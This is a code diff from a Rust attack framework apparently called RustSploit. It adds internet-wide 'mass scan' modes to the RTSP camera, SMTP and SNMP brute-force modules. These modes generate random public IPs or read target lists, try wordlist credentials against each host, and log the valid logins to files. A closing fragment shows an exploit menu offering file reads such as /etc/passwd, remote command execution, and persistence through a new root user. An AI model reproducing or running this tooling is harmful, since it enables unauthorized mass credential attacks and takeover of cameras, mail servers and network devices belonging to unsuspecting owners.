s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
// Deduplication check
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Try parse IP, or resolve? For mass scan usually IP lists. We'll try resolve if parsing fails.
// But to keep it simple and aligned with "hose" logic which normally takes IPs:
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
// Try resolve
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. Bruteforce
let (users, passes, paths) = &*creds;
// Helper to cleanup repetitive calls
// We iterate: Path -> User -> Pass ? Or User -> Pass -> Path?
// RTSP paths are important. Often root works.
for path in paths {
for user in users {
for pass in passes {
// We use the existing try_rtsp_login.
// It does re-connect, which is not optimal but robust.
let addrs = [sa];
let empty_headers: Vec<String> = Vec::new();
// For mass scan, we assume standard DESCRIBE or OPTIONS is fine.
// try_rtsp_login defaults to OPTIONS if None, let's use DESCRIBE if we want to check stream?
// Actually existing tool defaults to OPTIONS unless advanced is on. OPTIONS is auth-less often?
// No, OPTIONS usually requires auth if server is secure.
let res = try_rtsp_login(
&addrs,
&sa.to_string(),
user,
pass,
path,
Some("DESCRIBE"), // Use DESCRIBE to be sure we can access stream info
&empty_headers
).await;
match res {
Ok(true) => {
// Success!
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
// Save
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop scanning this host on found
}
Ok(false) => {
// Auth failure
}
Err(e) => {
// Connection error or protocol error
if verbose {
// Only print verbose errors if really needed, prevents spam
}
// If connection failed (rst/timeout), often no point trying other creds?
// But existing function returns Err on IO error.
// We should probably stop trying this host if we get Refused/Timeout inside loop?
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
return; // Host dead or blocking us
}
}
}
// Small sleep to be polite?
// sleep(Duration::from_millis(50)).await;
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
// Create empty state file to avoid grep errors
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(STATE_FILE)
.await
{
let _ = file.flush().await;
}
return false; // File was just created, IP definitely not checked
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
@@ -309,16 +631,20 @@ async fn try_rtsp_login(
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
Ok(Err(e)) => {
last_err = Some(e);
continue;
}
Err(_) => {
last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout"));
continue;
}
}
}
@@ -364,7 +690,13 @@ async fn try_rtsp_login(
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
// Add Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
@@ -375,63 +707,42 @@ async fn try_rtsp_login(
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
// Some cameras might return 404 if path is wrong but still authorized?
// Or 400 Bad Request?
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
// If we get 404, the creds might be valid but path invalid.
// But without positive valid signal, we assume fail.
Err(anyhow!("{}: unexpected RTSP response: {}", addr_display, response.lines().next().unwrap_or("")))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
/// Returns None if no path is present or if path is just "/"
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
// Use shared normalization for the host/port part
let normalized_host = normalize_target(host_part)?;
// Check if normalized host implies a port. normalize_target returns host:port or host.
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
// However, existing logic seemed to force a port.
// Let's check if port is present.
// A simple heuristic: if it ends with digit, check for colon.
// [ipv6]:port, ipv4:port, host:port.
// If we assume normalize_target did its job, we just need to adhere to the return type.
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
// Checking for port on a normalized string:
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let final_host = if has_port {
normalized_host
} else {
format!("{}:{}", normalized_host, default_port)
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
// Remove rtsp:// scheme if present
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
// Split on first '/' to separate host:port from path
if let Some((_, path)) = without_scheme.split_once('/') {
// Remove query strings and fragments
let clean_path = path.split(|c| c == '?' || c == '#')
.next()
.unwrap_or_default()
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
// Ensure path starts with '/'
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(path)
Some(final_path)
}
});
Ok((final_host, normalized_path))
} else {
None
}
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
+204 -4
View File
@@ -1,8 +1,9 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{TcpStream, ToSocketAddrs};
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
atomic::{AtomicBool, AtomicUsize, Ordering},
Arc,
};
use std::time::Duration;
@@ -10,12 +11,32 @@ use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use base64::{engine::general_purpose, Engine as _};
use tokio::io::AsyncWriteExt;
use tokio::fs::OpenOptions;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
load_lines, prompt_default, prompt_wordlist,
};
use crate::modules::creds::utils::BruteforceStats;
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const STATE_FILE: &str = "smtp_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Clone)]
struct SmtpBruteforceConfig {
@@ -34,6 +55,17 @@ struct SmtpBruteforceConfig {
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
@@ -64,6 +96,172 @@ pub async fn run(target: &str) -> Result<()> {
run_smtp_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output result file", "smtp_mass_results.txt").await?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Bruteforce
// Reuse existing blocking sync function inside spawn_blocking?
// The existing function uses std::net::TcpStream blocking.
// That's fine for small lists, but suboptimal for high concurrency.
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
let target_str = ip.to_string();
for user in users {
for pass in passes {
let t_target = target_str.clone();
let t_user = user.clone();
let t_pass = pass.clone();
let t_port = port;
let t_target_inner = t_target.clone();
let t_user_inner = t_user.clone();
let t_pass_inner = t_pass.clone();
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
let res = tokio::task::spawn_blocking(move || {
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
if verbose {
// Auth failed
}
}
Ok(Err(e)) => {
// Connection error
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return; // Stop scanning host
}
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
@@ -293,3 +491,5 @@ fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Re
Ok(false)
}
+187 -4
View File
@@ -1,28 +1,46 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket},
net::{SocketAddr, UdpSocket, IpAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::{Duration, Instant},
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
fs::OpenOptions,
io::AsyncWriteExt,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const STATE_FILE: &str = "snmp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
@@ -30,6 +48,17 @@ pub async fn run(target: &str) -> Result<()> {
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0"
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
@@ -531,3 +560,157 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port = prompt_int_range("SNMP Port", 161, 1, 65535).await? as u16;
let communities_file = prompt_existing_file("Community string wordlist").await?;
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
let output_file = prompt_default("Output result file", "snmp_mass_results.txt").await?;
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} SNMP devices found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => None
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip, STATE_FILE).await {
mark_ip_checked(&ip, STATE_FILE).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, u8, u64)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
_verbose: bool,
) {
let addr = format!("{}:{}", ip, port);
let (communities, version, timeout_secs) = &*creds;
let timeout = Duration::from_secs(*timeout_secs);
for community in communities {
match try_snmp_community(&addr, community, *version, timeout).await {
Ok(true) => {
let result_str = format!("{} -> community: '{}'", addr, community);
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&output_file)
.await
{
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop on first valid community for this host
}
Ok(false) => {
// Auth failure
}
Err(_) => {
// Connection error
return;
}
}
}
}
+3 -2
View File
@@ -246,8 +246,8 @@ pub async fn password_spray(
let user = user.clone();
let password = password.to_string();
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
let host_clone = host.clone();
let user_clone = user.clone();
@@ -277,6 +277,7 @@ pub async fn password_spray(
stats.record_attempt(false, true);
}
}
Ok(())
});
handles.push(handle);
File diff suppressed because it is too large Load Diff
+4 -4
View File
@@ -1,4 +1,4 @@
use anyhow::Result;
use anyhow::{Result, Context};
use colored::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
@@ -105,7 +105,7 @@ pub async fn run(target: &str) -> Result<()> {
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
// Random Mode
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cr = creds.clone();
let sc = stats_checked.clone();
@@ -137,7 +137,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("Loaded {} IPs from list", lines.len());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cr = creds.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
@@ -156,7 +156,7 @@ pub async fn run(target: &str) -> Result<()> {
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
// In a real hose, we just run until done.
for _ in 0..CONCURRENCY {
let _ = semaphore.acquire().await.unwrap();
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
+84 -1
View File
@@ -1,9 +1,15 @@
use std::sync::atomic::{AtomicU64, Ordering};
// use std::sync::Arc; // Removed unused import
use std::time::Instant;
use colored::*;
use tokio::sync::Mutex;
use std::collections::HashMap;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
/// Standard statistics tracking for bruteforce modules
pub struct BruteforceStats {
@@ -117,3 +123,80 @@ impl BruteforceStats {
}
}
}
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
// Basic check first to avoid expensive loop
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
continue;
}
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
// Ensure state file exists before checking
if !std::path::Path::new(state_file).exists() {
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(state_file)
.await
{
let _ = file.flush().await;
}
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(state_file)
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(state_file)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
let mut exclusion_subnets = Vec::new();
for cidr in min_ranges {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
exclusion_subnets
}
@@ -11,8 +11,10 @@ use reqwest::Client;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::io::{self, Write};
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
@@ -156,6 +158,7 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
@@ -171,55 +174,31 @@ async fn execute(target: &str) -> Result<()> {
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut choice = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice)
.await
.context("Failed to read choice")?;
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut fp = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut fp)
.await
.context("Failed to read file path")?;
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut cmd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut cmd)
.await
.context("Failed to read command")?;
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
io::stdout().flush().context("Failed to flush stdout")?;
let mut pwd = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut pwd)
.await
.context("Failed to read password")?;
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
@@ -261,11 +240,28 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions (FIRST)
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
